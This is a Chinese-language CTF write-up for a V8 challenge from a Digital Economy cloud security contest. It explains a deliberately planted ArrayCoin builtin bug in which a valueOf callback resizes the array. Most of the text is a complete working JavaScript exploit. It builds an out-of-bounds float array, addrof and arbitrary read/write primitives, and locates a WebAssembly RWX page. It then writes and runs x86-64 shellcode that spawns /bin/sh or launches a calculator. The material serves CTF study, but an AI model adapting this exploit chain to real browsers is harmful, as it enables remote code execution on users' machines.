这道 Realworld pwn
出现在数字经济云安全的线下赛。
关键的 Patch
如下:
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
可以看到,注册了一个 builtin
函数名为 array.coin(length,value)
,如果 array
长度超过 38
就将 array.element[37]
赋值为 value
;
关键的点在于 Object::ToNumber
,该函数可以通过valueOf
触发 callback
回调,回调函数可以通过对 array.length
的赋值来重新分配内存空间。然而,array
以及 element
均在执行回调之前就已经保存在局部变量中,后续在对 element
的赋值时也直接采用的是该局部变量,因此我们得到了一个 UAF
,并且可以这样利用:通过在 Callback
中扩大 Array
的 length
来强制 GC
重新 alloc
,之后通过分配巨量的 array
来占位原 array
的地址空间,最后通过 elements.set(37, value->Number())
来达到对原内存内容的修改。倘若我们修改的内存恰好是新占位 array
的 length
字段,那我们就得到了一个 OOB
数组。
var Globarr=[]
function demo(){
var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
valueOf:function(){
array.length=1000;
// force GC realloc this array, but we still
// have one reference to this memory in the Patch
for(var i=0;i<1000-13;i++){
new Array(100);
}
for(var i=0;i<10;i++){
Globarr[i]=new Array(37)
}
return 999999999999999
}
}
let array=[];
array.length=50;
array.coin(length,val);
for(var i=5;i<10;i++){
%DebugPrint(Globarr[i]);
}
}
demo()
然而,一个很严重的问题是,由于 v8
的 gc
的特殊性,并不会像 glibc
一样有内存缓存机制,因此,每次占到原来的地址的时候其实都跨越了若干内存页,每一个偏移都与要精准定位调试,因此可复现率基本为 0
。我在一番艰难的调试之后,终于得到了一个 OOB
数组:
就在我以为我可以进一步开发 exploit
的时候,问题出现了:由于采用的是这种喷内存的方式,因此对内存状态的依赖度很高。但是实际上, V8
在 Read code
以及 parse code
的时候都是需要占用内存的,因此添加任何一句代码都会改变内存布局从而导致 oob
数组的消失。我没有其他姿势利用这个思路,麻烦知道如何处理内存问题的大佬戳我一下我去加您。
分析 patch
的时候忽略了一个重要的问题,就是判断 37 < array_length
的时候,array_length
的值取在 callback
之后,也就意味着一开始分配的 array
可以很小,然后再 callback
内扩大 length
,一样可以绕过检查:
var val= {
valueOf:function(){
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
成功绕过。进一步构思,由于 v8
的内存分配具有连续性,因此,如果再 callback
内分配了一个新 array_new
,array_new
会直接分配在原 array
的后面。倘若原 array.element[37]
的位置存放的是 array_new
的 length
,那我们就可以直接达到 oob
,而且只需要分配两次 array
。
var val= {
valueOf:function(){
victim=new Array(12)
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
console.log("[+] Int_Victim array length is changed to :"+victim.length);
进一步转为 Float
类型的 oob
:
var val= {
valueOf:function(){
victim=new Array(12)
array.length = 0x100
float_victim=new Array(0x10)
float_victim[0]=1.1
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
console.log("[+] Int_Victim array length is changed to :"+victim.length);
victim[273]=0x10000;//change the float arraylength
console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)
这里十分感谢队友姚敏的提醒。
后面的工作就比较寻常了,这里是完整的 exploit:
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
let victimobj_obj_offset_of_OOBARR=0
let victimbuf_backingstore_pointer_offset_of_OOBARR=0
function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
valueOf:function(){
victim=new Array(12)
array.length = 0x100
float_victim=new Array(0x10)
float_victim[0]=1.1
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
console.log("[+] Int_Victim array length is changed to :"+victim.length);
victim[273]=0x10000;//change the float arraylength
//let array00= new Array(100)
console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)
var vicobj={marker: 1111222233334444, obj: {}}
var victimbuffer=new ArrayBuffer(0x41);
// %DebugPrint(victimbuffer);
//%SystemBreak();
//%DebugPrint(vicobj.obj)
for (let i = 0; i < 100; i++) {
let val = Int64.fromDouble(float_victim[i]).toString();
//console.log(val)
if (val === "0x430f9534b3e01560") {
//change the value to distinguish from front objs'flag
float_victim[i] = (new Int64("4242424200000000")).asDouble();
victimobj_obj_offset_of_OOBARR = i -8;
console.log("[+] VictimObj.obj's offset of OOBARR = ",victimobj_obj_offset_of_OOBARR.toString(16))
}
}
for (let i = 0; i < 100; i++) {
let val = Int64.fromDouble(float_victim[i]).toString();
//size as flag
if (val === "0x0000000000000041") {
float_victim[i] = (new Int64("0x0000000000999941")).asDouble();
victimbuf_backingstore_pointer_offset_of_OOBARR = i + 1;
console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",victimbuf_backingstore_pointer_offset_of_OOBARR.toString(16))
}
}
function addrof(obj){
if(vicobj!==null){
vicobj.obj=obj;
return Int64.fromDouble(float_victim[victimobj_obj_offset_of_OOBARR])
}
}
function read(addr,size){
if(addr!==undefined){
float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]=addr.asDouble();
let a = new Uint8Array(victimbuffer, 0, size);
return Array.from(a);
}
}
function write(addr, bytes) {
if(addr!==undefined){
float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
console.log("[+] The target Write addr = ",Int64.fromDouble(float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]))
let a = new Uint8Array(victimbuffer);
//%DebugPrint(victimbuffer);
//%SystemBreak()
//console.log(a.byteLength)
a.set(bytes);
}
}
function read8(addr) {
float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
var v = new Float64Array(victimbuffer, 0, 8);
return Int64.fromDouble(v[0]);
}
var test=new Array();
//%DebugPrint(f);
addr=Add(addrof(f),0x18-1)
addr=read8(addr);
console.log("[+] SharedFunctionInfo : "+addr);
addr=Add(addr,0x8-1)
addr=read8(addr);
console.log("[+] WasmExportedFunctionData : "+addr);
addr=Add(addr,0x10-1)
addr=read8(addr);
console.log("[+] Instance : "+addr);
addr=Add(addr,0x80-1)
addr=read8(addr);
console.log("[+] rwx addr : "+addr);
let shellcode = [0x90,0x90,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05];
let calc=
[0x48,0x31,0xc9,0x48,0x81,0xe9,0xf7,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,0x09,0x69,0x71,0x6e,0x44,0x85,0x88,0x7d,0x48,0x31,0x58,0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x63,0x52,0x29,0xf7,0x0c,0x3e,0xa7,0x1f,0x60,0x07,0x5e,0x1d,0x2c,0x85,0xdb,0x35,0x80,0x8e,0x19,0x43,0x27,0x85,0x88,0x35,0x80,0x8f,0x23,0x86,0x5f,0x85,0x88,0x7d,0x6c,0x11,0x01,0x01,0x36,0xf1,0xa8,0x39,0x40,0x3a,0x21,0x22,0x05,0xdc,0xb5,0x47,0x39,0x47,0x41,0x48,0x62,0xfd,0xeb,0x1c,0x65,0x0a,0x71,0x38,0x13,0xcd,0x01,0x9b,0x06,0x6c,0x71,0x6e,0x44,0x85,0x88,0x7d]
write(Sub(addr,0), calc);
console.log("[+] Running shellcode...")
f();
}
exploit()